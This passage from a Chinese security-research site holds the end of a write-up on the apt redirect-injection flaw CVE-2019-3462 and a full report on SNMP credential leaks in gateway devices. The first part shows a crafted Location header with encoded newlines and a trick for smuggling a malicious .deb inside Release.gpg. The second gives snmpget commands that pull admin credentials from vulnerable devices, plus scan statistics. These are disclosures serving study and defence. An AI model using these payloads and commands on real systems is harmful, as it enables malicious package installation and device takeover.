Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

那么http提取进程会回复:

103 Redirect

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

New-URI: http://deb.debian.org/payload

201 URI Done

URI: http://deb.debian.org/payload

Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

Size: 20070

Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000

MD5-Hash: 27967ddb76b2c394a0714480b7072ab3

MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3

SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831

Checksum-FileSize-Hash: 20070

注入恶意包

因为我在我的验证程序中注入201 URI Done响应,所以我不得不处理没有下载任何包的问题。我需要一种方法让恶意的.deb进入系统,以便在Filename参数中使用。

为了实现这点,我利用了apt updaterelease.gpg文件具有可塑性,并安装在可预测的位置这个特点。具体来说,Release.gpg包含的PGP签名,如下所示:

-----BEGIN PGP SIGNATURE-----

...

-----END PGP SIGNATURE-----

只要注入的内容不接触到签名内容,apt的签名验证程序就不会报错,所以我拦截了release.gpg请求,并用我的恶意deb进行了预处理:

&lt;oops.deb contents&gt;

-----BEGIN PGP SIGNATURE-----

...

-----END PGP SIGNATURE-----

然后,我在201 URI Done响应中设置Filename参数:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

http / https争议

默认情况下,Debian和Ubuntu都使用开箱即用的http存储库(Debian允许您在安装过程中选择所需镜像,但实际上不支持https存储库 - 您必须先安装apt-transport-https)。

如果程序包清单已签名,为什么还要使用https?毕竟,由于包的大小有限,隐私获益是最小的。而且使用https会使缓存受限。

也有对此很感兴趣的人。某些网站专门解释为什么在apt上下文中使用https没有意义。

这些都是很好的观点,但是我这篇文章中的bug是存在的。无独有偶——这是JannHorn在2016年发现的另一个具有相同影响的bug。没错,即使使用的是https,恶意镜像依然可以利用这样的漏洞。但我觉得,与其攻击使用http或TLS证书的deb.debian.org,还不如直接攻击目标服务器上的应用服务。

(假设apt-transport-https本身没有灾难性的破坏。我并没有审计,但它看起来像是围绕libcurl的一个相对较薄的包装。)

支持http是个好事。我只是认为把https作为更安全的默认存储库是值得的,如果用户选择这样做的话,允许他们降低安全级别。如果服务器包默认使用的是https,我就无法利用本文顶部的dockerfile。

总结

感谢apt维护者及时修补此漏洞,并感谢Debian安全团队协助披露。这个漏洞已经注册编号:CVE-2019-3462。


 

Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/799/

原文阅读

多种设备基于 SNMP 协议的敏感信息泄露漏洞数据分析报告
Nanako 2019-1-24 1:56 转存

作者:知道创宇404实验室
English version:https://paper.seebug.org/796/

1. 更新情况

2. 事件概述

SNMP协议[1],即简单网络管理协议(SNMP,Simple Network Management Protocol),默认端口为 161/UDP,目前一共有3个版本:V1,V2c,V3。V3是最新的版本,在安全的设计上有了很大改进,不过目前广泛应用的还是存在较多安全问题的V1和V2c版本。SNMP协议工作的原理简单点来说就是管理主机向被管理的主机或设备发送一个请求,这个请求包含一个community和一个oid。oid就是一个代号,代表管理主机这个请求想要的信息。被管理的主机收到这个请求后,看请求community是否和自己保存的一致,如果一致,则把相应信息返回给管理主机。如果不一致,就不会返回任何信息。所以community相当与一个认证的口令。V1和V2c版本的SNMP协议都是明文传输数据的,所以可以通过抓包嗅探等手段获取认证需要的community。

2018年12月25日,Seebug 平台收录了多个基于SNMP协议的敏感信息泄露漏洞[2]。在多种厂商提供的网关类设备中,可以使用任意 community非常容易地读取SNMP提供的明文形式的的Web管理系统的用户名和密码、Wi-Fi凭证等信息。也可以使用任意community通过SET协议指令发送配置更新或控制请求,攻击者可以注入恶意的配置,如在Cisco DPC3928SL通过注入SSID造成Web管理系统的XSS(CVE-2018-20379)。

该漏洞最早于 2017 年 4 月 4 日曝出,CVE编号为CVE-2017-5135,漏洞发现者将该漏洞称之为 Stringbleed[3]。2018年12月22日,时隔一年多,漏洞发现者进行全球探测后提供了一个很全的漏洞影响列表,其中包含23个不同厂商78个不同型号的网关设备,同时申请了多个CVE编号(CVE-2018-20380~CVE-2018-20401)。关于漏洞的成因一直都在争论之中,截止目前依然没有最终定论[4]。该类设备一般由ISP提供,我们暂时没有找到漏洞设备或固件对漏洞原理进行研究。根据社区的讨论结果,产生该漏洞的原因可能有以下几种情况:

  • 这些存在漏洞的设备使用了同一个存在逻辑缺陷的SNMP协议实现,该实现代码没有正确处理 community 字符串认证,导致任意 community 均可以通过认证,进一步导致敏感信息泄露。
  • ISP 配置错误,无效的访问控制规则。

本文不包含漏洞分析,而是针对全球该类设备漏洞存在情况的数据分析报告。

3. 漏洞复现

直接使用 snmpget 命令发送 SNMP GET 请求即可, -c 选项指定任意字符串作为 community 均可通过认证。

snmpget -v 1 -c public $IP iso.3.6.1.2.1.1.1.0
snmpget -v 1 -c '#Stringbleed' $IP iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0
snmpget -v 1 -c '#Stringbleed' $IP iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0

复现结果如下:

img

如果目标设备开放了Web服务,则可使用泄露的用户名和密码登陆Web管理系统,如下:

img

值得一提的是,用户名和密码存在为空的情况。

img

发送 SNMP SET 请求进行配置更新,-c 选项指定任意 community。如下所示,我们通过snmpset修改了 Web 系统用户名。

img

4. 漏洞影响范围

我们通过提取漏洞设备相关的“关键词”,在ZoomEye网络空间搜索引擎[5]上共发现了1,241,510个 IP数据。

img

通过使用 zmap 对这 124 万的IP数据进行存活检测,发现约有 23 万的IP 存活。进一步对存活的 23 万IP进行漏洞存在检验,发现有15882 个目标设备存在该敏感信息泄露漏洞,涉及23个厂商的多个型号设备的多个固件版本。

对这 15882 个漏洞设备的信息进行聚合,得到厂商及版本等统计信息如下(各个型号的ZoomEye dork 为: Vendor +Model +相应型号,如搜索DPC3928SL的语法为:Vendor +Model +DPC3928SL)

漏洞设备的厂商分布饼图如下(有一点需要说明的是,DPC3928SL网关设备属于受此漏洞影响最严重的网络设备之一,原来属于Cisco公司, 现在属于Technicolor。)

img

国家分布前十如下,主要分布在中国、泰国、韩国等国家。

img

中国存在漏洞的设备全部分布在广东、台湾两个省份,呈现一定的地域性。其中广东最多,为6318 台。

img

进一步分析发现,在原全球124万161/udp 端口的该类设备IP数据中,属于中国的几乎全部分布在广东省和台湾省,其他省份基本上没有探测到公网上该类设备端口开放(运营商禁用了SNMP服务或者没有使用同类设备?)。

img

广东省受影响的设备的ISP分布如下,98% 以上归属于 “珠江宽频/联通“ 这个ISP,存在漏洞的设备大部分为Technicolor CWA0101 Wireless Gateway ,version :gz5.0.2。

img

台湾的181台漏洞设备都归属于ISP:twmbroadband.com,存在漏洞的设备大部分为Ambit T60C926。结合以上数据分析,我们断定中国存在该漏洞设备的地理分布和当地的ISP有很大关系。

针对所有存在该漏洞的设备,我们统计了凭证的使用情况,如下:

常用用户名,主要包含admin、login、user、dlink等。

img

常用密码,主要包含 admin、password、dream01、空、br0adband、gzcatvnet、user、Broadcom、dlink、ambit、root等,大部分为常见的弱密码。

img

非常有意思的是,我们发现以下使用次数最多的用户名密码组合,和使用该凭证组合最多的漏洞设备,以及漏洞设备所在的国家,都存在一定的关联性。

(如第一行记录:中国所有含有该漏洞的设备中约有 5502 台都使用了 admin:admin 凭证,且受影响设备型号数量最多的为 Technicolor/CWA0101。)

5. 总结

基本可以肯定的是,这不是SNMP协议本身的问题,而是协议的实现代码存在漏洞或者ISP配置错误。该漏洞影响厂商、设备型号非常多,且呈现出一定的区域性。

路由器、Modem、摄像头等IoT设备的信息泄露漏洞层出不穷,对个人隐私造成极大的威胁,关闭非必要的端口或者使用防火墙限制非法访问是个值得考虑的举措。

系统的安全性往往取决于最短的那块木板-“木桶效应”,通过SNMP协议泄露HTTP服务凭证很好的说明了这一点。

用户可根据PoC自行验证设备是否存在漏洞,如果存在漏洞可联系相应的ISP寻求解决方案。

6. 相关链接

[1] SNMP 协议
https://baike.baidu.com/item/SNMP/133378?fr=aladdin

[2] Seebug 漏洞收录
https://www.seebug.org/vuldb/ssvid-97741
https://www.seebug.org/vuldb/ssvid-97742
https://www.seebug.org/vuldb/ssvid-97736

[3] Stringbleed
https://stringbleed.github.io/#

[4] 关于该漏洞的讨论
https://www.reddit.com/r/netsec/comments/67qt6u/cve_20175135_snmp_authentication_bypass/

[5] ZoomEye网络空间搜索引擎
https://www.zoomeye.org/searchResult?q=MODEL%20%2BVENDOR%20%2Bport%3A%22161%22

[6] SNMP 历史漏洞参考
http://drops.the404.me/1033.html


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/795/

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告